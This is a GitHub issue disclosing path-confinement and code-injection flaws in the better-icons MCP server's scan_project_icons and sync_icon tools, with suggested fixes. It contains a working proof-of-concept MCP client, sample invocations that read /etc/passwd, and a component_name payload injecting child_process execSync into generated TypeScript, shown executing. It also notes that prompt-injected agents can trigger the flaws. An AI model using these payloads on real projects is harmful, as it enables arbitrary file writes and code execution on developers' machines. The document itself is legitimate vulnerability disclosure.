Skip to content

[Potential Vulnerability] better-icons sync_icon allows out-of-scope file writes and source-code injection #18

Description

@mcfly-zzh

Summary

better-icons is an MCP server for searching Iconify icons and writing generated icon components into a project. Two tools, scan_project_icons and sync_icon, accept an icons_file argument described as an absolute path to the project icons file.

The implementation does not validate this path. There is no project-root confinement, no extension check, and no canonicalisation. The value is passed directly into file read/write logic.

The strongest issue is in sync_icon: the tool writes generated component source to the caller-supplied icons_file path. It also creates missing parent directories with recursive mkdir. If the target file already exists, it is read and rewritten with a new icon block appended.

In addition, sync_icon accepts component_name, which is inserted directly into generated JavaScript / TypeScript / Vue / Svelte / Solid source code. Because it is not validated as an identifier, a caller can inject raw source code into the generated file. If that file is later imported or built by the victim project, the injected code can execute in that build/runtime context.

scan_project_icons is weaker but still relevant: it reads the caller-supplied icons_file path and discloses matching icon definitions. This is an attacker-chosen file read with pattern-based disclosure, not a full arbitrary file-content read.

Threat model

This issue is reachable by any MCP client, prompt-injected agent, or malicious tool invocation that can call the server's tools. The tested transport is stdio MCP. This report does not assume direct Internet exposure unless the server is deployed behind a network-accessible MCP bridge.

Impact

A caller in this threat model can:

  1. Read attacker-chosen files through scan_project_icons and receive any icon definitions matching the parser's expected pattern.
  2. Create or modify files at attacker-chosen process-writable paths through sync_icon, including paths outside the intended project directory.
  3. Inject raw JavaScript / TypeScript source code through component_name, because it is inserted directly into generated component templates.

The direct primitive is attacker-controlled source-file creation/modification. Code execution occurs when the victim project later imports, builds, or runs the generated file, which matches the intended use case of this MCP server.

Affected Component

  • Repository: https://github.com/better-auth/better-icons
  • npm package: better-icons
  • Tested version: 1.0.5
  • Commit tested: 033316ecb8f4982235af4111a2257e80231f5ab1
  • Affected tools: scan_project_icons, sync_icon
  • Affected arguments: icons_file, component_name
  • Transport tested: stdio MCP

CWE / Classification

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CWE-73: External Control of File Name or Path
  • CWE-94: Improper Control of Generation of Code

Suggested severity: High for sync_icon because it combines out-of-scope file writes with source-code injection. scan_project_icons alone is lower severity because its read disclosure is pattern-based.

Root cause

icons_file is trusted as a raw filesystem path.

For scan_project_icons, the server passes icons_file into the icon parser, which reads the file and extracts matching icon definitions.

For sync_icon, the server passes icons_file into the file-writing path. The implementation creates the parent directory if needed, reads the existing target file if present, appends generated component code, and writes the result back to the same caller-supplied path.

component_name is also trusted. When supplied, it is used directly as the generated component name. In JavaScript / TypeScript output this becomes part of an export const ... declaration. Since there is no identifier validation or escaping, a malicious component_name can break out of the intended declaration shape and inject top-level source code.

A previous project fix addressed one Svelte HTML-injection path, but the broader template-generation surface still lacks identifier validation and path confinement.

Environment

  • Host: Linux 6.17
  • Node: 22
  • Package: better-icons 1.0.5
  • Server invocation: node dist/index.js
  • Transport: stdio MCP

Reproduction

Setup

The upstream build script uses Bun (bun build ./src/index.ts --outdir dist --target node --minify), not tsc, so npm install alone will not produce dist/index.js. Either install Bun (recommended, matches upstream) or run the TypeScript source directly with tsx.

git clone https://github.com/better-auth/better-icons
cd better-icons
npm install                                  # installs deps; does NOT build dist/
curl -fsSL https://bun.sh/install | bash
~/.bun/bin/bun run build                     # produces dist/index.js

mkdir -p /tmp/bicons_poc

poc_client.mjs:

import { spawn } from 'node:child_process';
const [SERVER, TOOL, ARGS_JSON] = process.argv.slice(2);
const ARGS = JSON.parse(ARGS_JSON);

const child = spawn('node', [SERVER], { stdio:['pipe','pipe','pipe'] });
child.stderr.on('data', d => process.stderr.write('[srv] ' + d));
let buf=''; const out=[];
child.stdout.on('data', d => {
  buf += d;
  for (let i; (i = buf.indexOf('\n')) !== -1;) {
    const l = buf.slice(0,i); buf = buf.slice(i+1);
    if (l.trim()) try { out.push(JSON.parse(l)); } catch {}
  }
});
const send = o => child.stdin.write(JSON.stringify(o) + '\n');
const sleep = ms => new Promise(r => setTimeout(r, ms));
await sleep(300);
send({jsonrpc:'2.0',id:1,method:'initialize',
  params:{protocolVersion:'2024-11-05',capabilities:{},clientInfo:{name:'poc',version:'0'}}});
await sleep(200);
send({jsonrpc:'2.0',method:'notifications/initialized',params:{}});
await sleep(200);
send({jsonrpc:'2.0',id:2,method:'tools/call',params:{name:TOOL, arguments:ARGS}});
await sleep(2000); child.stdin.end(); await sleep(300); child.kill();
for (const r of out) console.log(JSON.stringify(r));

Step 1 — scan_project_icons reads attacker-chosen paths

# (A) Real file with icon-pattern matches: full enumeration leaks
printf '// some\n// lucide:home\nexport const HomeIcon = (p) => null;\n// mdi:account\nexport const AccountIcon = (p) => null;\n' \
  > /tmp/bicons_victim_target.tsx
node poc_client.mjs ./dist/index.js scan_project_icons \
  '{"icons_file":"/tmp/bicons_victim_target.tsx"}'

# (B) /etc/passwd: no regex match, so content is not returned, but the
# caller-chosen path is still read by the server.
node poc_client.mjs ./dist/index.js scan_project_icons \
  '{"icons_file":"/etc/passwd"}'

# (C) Nonexistent path: same response shape as (B), showing that the
# response partially collapses missing and exists-but-no-match cases.
node poc_client.mjs ./dist/index.js scan_project_icons \
  '{"icons_file":"/etc/nonexistent_path"}'

Step 2 — sync_icon writes attacker-controlled file at attacker-controlled path

rm -rf /tmp/bicons_exfil_write_demo
node poc_client.mjs ./dist/index.js sync_icon \
  '{"icons_file":"/tmp/bicons_exfil_write_demo/planted_payload.tsx",
    "framework":"react",
    "icon_id":"lucide:home"}'

ls -la /tmp/bicons_exfil_write_demo/
cat   /tmp/bicons_exfil_write_demo/planted_payload.tsx

Step 3 — sync_icon + component_name injects raw JS/TS source

rm -rf /tmp/bicons_codeinj
node poc_client.mjs ./dist/index.js sync_icon "$(cat <<'JSON'
{"icons_file":"/tmp/bicons_codeinj/payload.tsx",
 "framework":"react",
 "icon_id":"lucide:home",
 "component_name":"Pwned = (() => { require(\"child_process\").execSync(\"id > /tmp/bicons_codeinj/RCE_PROOF\"); return null; })(); export const HomeIcon"}
JSON
)"
cat /tmp/bicons_codeinj/payload.tsx

Any consumer that imports this file, such as Vite, Next, webpack, esbuild, or a TS runtime loader, evaluates the injected IIFE and writes id output to /tmp/bicons_codeinj/RCE_PROOF.

Observed result

Step 1 (A):

{"result":{"content":[{"type":"text","text":"# Project Icons\n\n**File:** /tmp/bicons_victim_target.tsx\n**Total:** 2 icons\n\n- `HomeIcon` ← lucide:home\n- `AccountIcon` ← mdi:account\n\nUse these component names directly in your code, or use `sync_icon` to add more."}]},...}

Step 1 (B) and (C):

{"result":{"content":[{"type":"text","text":"# Project Icons\n\n**File:** /etc/passwd\n\nNo icons found in file yet (or file doesn't exist). ..."}]},...}
{"result":{"content":[{"type":"text","text":"# Project Icons\n\n**File:** /etc/nonexistent_path\n\nNo icons found in file yet (or file doesn't exist). ..."}]},...}

The response text is identical for /etc/passwd and a nonexistent path, so this is not a full content leak. However, the server still attempts to read the attacker-chosen path, and any file matching the expected icon pattern is disclosed as shown in Step 1(A).

Step 2:

{"result":{"content":[{"type":"text","text":"# Icon Added\n\n**Icon:** lucide:home\n**Component:** HomeIcon\n**File:** /tmp/bicons_exfil_write_demo/planted_payload.tsx\n..."}]},...}

$ ls -la /tmp/bicons_exfil_write_demo/
-rw-rw-r-- 1 exouser exouser  646 May 28 15:18 planted_payload.tsx

$ cat /tmp/bicons_exfil_write_demo/planted_payload.tsx
// Auto-generated icons file - managed by better-icons
// Do not edit manually - use sync_icon to add new icons

import type React from "react";

// lucide:home
export const HomeIcon = (props: React.SVGProps<SVGSVGElement>) => (
  <svg {...props} xmlns="http://www.w3.org/2000/svg" ...>...</svg>
);

The directory /tmp/bicons_exfil_write_demo/ did not exist before the call. It was created by the server.

Step 3:

$ cat /tmp/bicons_codeinj/payload.tsx
// Auto-generated icons file - managed by better-icons
// Do not edit manually - use sync_icon to add new icons

import type React from "react";

// lucide:home
export const Pwned = (() => { require("child_process").execSync("id > /tmp/bicons_codeinj/RCE_PROOF"); return null; })(); export const HomeIcon = (props: React.SVGProps<SVGSVGElement>) => (
  <svg {...props} ...>...</svg>
);

The file is valid TypeScript. End-to-end execution was verified on the reproduction host by feeding payload.tsx to tsx:

$ npm install --no-save tsx
$ ./node_modules/.bin/tsx /tmp/bicons_codeinj/payload.tsx
$ cat /tmp/bicons_codeinj/RCE_PROOF
uid=1001(exouser) gid=1001(exouser) groups=1001(exouser),27(sudo),110(admin),127(docker),1000(ubuntu),1002(vglusers)

The require("child_process").execSync(...) injected via component_name executed with the privileges of the process that loaded the file. The direct MCP-side primitive remains "write attacker-controlled JS/TS source to an attacker-chosen path"; the RCE fires on any subsequent import / build / runtime evaluation of that path, which is the intended use of sync_icon.

Expected result

The server should reject icons_file values that resolve outside an explicit project root. The root can be configured through an environment variable or CLI flag and should default to the intended working directory.

The server should restrict icons_file extensions to expected source/component types, such as .tsx, .ts, .jsx, .js, .vue, .svelte, or .svg.

component_name should be validated as a JavaScript identifier before it reaches any source-code template. icon_id should also be validated before being inserted into generated comments or framework templates.

scan_project_icons should not echo arbitrary absolute paths back to the caller and should avoid distinguishing out-of-scope paths through response text.

Suggested fix

Add a path-safety wrapper for icons_file:

  • resolve the supplied path;
  • verify it stays inside the configured project root;
  • reject traversal or absolute paths outside that root;
  • enforce an allowed extension list;
  • only then pass the path to read/write logic.

Add identifier validation before component generation:

  • component_name should match a strict JavaScript identifier pattern;
  • icon_id should match the expected Iconify format;
  • invalid values should be rejected before any template interpolation.

Also remove raw absolute paths from tool responses and replace out-of-scope access errors with a generic message.

Finally, audit all code-generation templates and all call sites that use icons_file, component_name, customName, or iconId.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions